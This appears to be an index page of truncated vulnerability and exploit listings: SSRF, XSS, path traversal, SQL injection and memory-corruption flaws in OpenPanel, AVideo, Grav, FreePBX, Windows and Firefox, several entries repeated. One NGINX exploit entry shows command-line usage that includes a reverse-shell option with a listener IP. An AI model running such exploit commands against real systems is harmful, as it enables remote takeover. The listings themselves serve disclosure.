CVE-2026-85577

AVideo through commit c91b5975d contains a reflected cross-site scripting vulnerability in userLogin.php that allows unauthenticated attackers to inject arbitrary JavaScript by closing the script tag with . Attackers can craft a malicious URL with an error parameter containing script breakout...

CVE-2026-74936-gc-potato

CVE-2026-74936 Une reproduction sans fioritures. La base de départ a nécessité quelques ajustements. Mozilla décrit ce problème comme un use-after-free dans WebAssembly. Le correctif public 9823b5c86ffa maintient en vie le wasm::Code qui piège exactement dans JitActivation. Le test effectue un...

CVE-2024-30051

CVE-2024-30051 — Windows DWM Heap Overflow EoP · Master's Thesis Research -orange Heap-based Buffer Overflow in Windows Desktop Window Manager dwmcore.dll Local Privilege Escalation → Integrity Level SYSTEM via DWM process Build target: Windows 11 22H2 10.0.22621.3447 · Patch: KB5037771 Descripti...

FreePBX-CVE-2025-57819

FreePBX CVE-2025-57819 — Unauthenticated SQLi to Root RCE Severity: Critical Type: Unauthenticated SQL Injection → Remote Code Execution Affected Software: FreePBX endpoint module Tested On: FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5 Overview An unauthenticated SQL injection...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

motionEye-RCE-through-config-parameter

MotionEye RCE عبر تجاوز التحقق من صحة جانب العميل الملخص أثناء اختبار الأمان لمثيل MotionEye يعمل داخل Docker، لوحظ أنه يمكن تجاوز التحقق من صحة جانب العميل داخل واجهة الويب. وهذا يسمح بإرسال مدخلات عشوائية، بما في ذلك حمولات يمكن أن تؤدي إلى تنفيذ أوامر على الحاوية المضيفة. تمثل هذه المشكلة خطر...

CVE-2026-85614 OpenPanel API before 2.3.0 Unauthenticated SSRF via site-checker

OpenPanel before 2.3.0 contains an unauthenticated server-side request forgery vulnerability in the GET /tools/site-checker endpoint that accepts a fully client-controlled URL parameter with no private IP filtering or DNS-rebinding protection. Attackers can make the OpenPanel server issue request...

CVE-2026-85614

OpenPanel before 2.3.0 is affected by an unauthenticated SSRF in the GET /tools/site-checker endpoint. The endpoint accepts a fully client-controlled URL parameter with no private IP filtering or DNS-rebinding protection , allowing an attacker to force the server to issue requests to internal ser...

EUVD-2026-71033

OpenPanel before 2.3.0 contains an unauthenticated server-side request forgery vulnerability in the GET /tools/site-checker endpoint that accepts a fully client-controlled URL parameter with no private IP filtering or DNS-rebinding protection. Attackers can make the OpenPanel server issue request...

CVE-2026-85614 OpenPanel API before 2.3.0 Unauthenticated SSRF via site-checker

OpenPanel before 2.3.0 contains an unauthenticated server-side request forgery vulnerability in the GET /tools/site-checker endpoint that accepts a fully client-controlled URL parameter with no private IP filtering or DNS-rebinding protection. Attackers can make the OpenPanel server issue request...

CVE-2026-85612 OpenPanel before 2.3.0 SSRF via favicon and og endpoints

OpenPanel before 2.3.0 contains an unauthenticated server-side request forgery vulnerability in the /misc/favicon and /misc/og endpoints that accept an attacker-supplied url parameter with insufficient validation. Attackers can force the API to fetch arbitrary internal hosts and cloud metadata...

CVE-2026-85612

OpenPanel before 2.3.0 contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /misc/favicon and /misc/og endpoints. These endpoints accept an attacker-supplied url parameter with insufficient validation, allowing an attacker to force the API to fetch arbitrary interna...

EUVD-2026-71031

OpenPanel before 2.3.0 contains an unauthenticated server-side request forgery vulnerability in the /misc/favicon and /misc/og endpoints that accept an attacker-supplied url parameter with insufficient validation. Attackers can force the API to fetch arbitrary internal hosts and cloud metadata...

CVE-2026-85609 Openpanel before 2.3.0 SSRF via Site Checker Endpoint

Openpanel before 2.3.0 contains an unauthenticated full-read server-side request forgery SSRF vulnerability in the GET /tools/site-checker endpoint apps/api/src/controllers/tools.controller.ts. The endpoint passes a user-supplied url query parameter to fetchWithRedirects and performs server-side...

EUVD-2026-71028

Openpanel before 2.3.0 contains an unauthenticated full-read server-side request forgery SSRF vulnerability in the GET /tools/site-checker endpoint apps/api/src/controllers/tools.controller.ts. The endpoint passes a user-supplied url query parameter to fetchWithRedirects and performs server-side...

CVE-2026-85609

Openpanel before 2.3.0 is affected by an unauthenticated SSRF in the GET /tools/site-checker endpoint (apps/api/src/controllers/tools.controller.ts). The user-supplied url query parameter is passed to fetchWithRedirects() without SSRF or IP validation, allowing a remote attacker to reach cloud in...

CVE-2026-85609 Openpanel before 2.3.0 SSRF via Site Checker Endpoint

Openpanel before 2.3.0 contains an unauthenticated full-read server-side request forgery SSRF vulnerability in the GET /tools/site-checker endpoint apps/api/src/controllers/tools.controller.ts. The endpoint passes a user-supplied url query parameter to fetchWithRedirects and performs server-side...

EUVD-2026-71026

Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action that fails to validate the language code parameter. An authenticated admin user with admin.pages.create permission can supply directory traversal sequences in the lang POST field to write...

CVE-2026-85603 Grav Admin Plugin Path Traversal via Save As Language Code

Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action that fails to validate the language code parameter. An authenticated admin user with admin.pages.create permission can supply directory traversal sequences in the lang POST field to write...

CVE-2026-85603

Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action. The root cause is a missing validation of the language code (lang) POST field, allowing an authenticated user with the admin.pages.create permission to inject directory traversal sequences. T...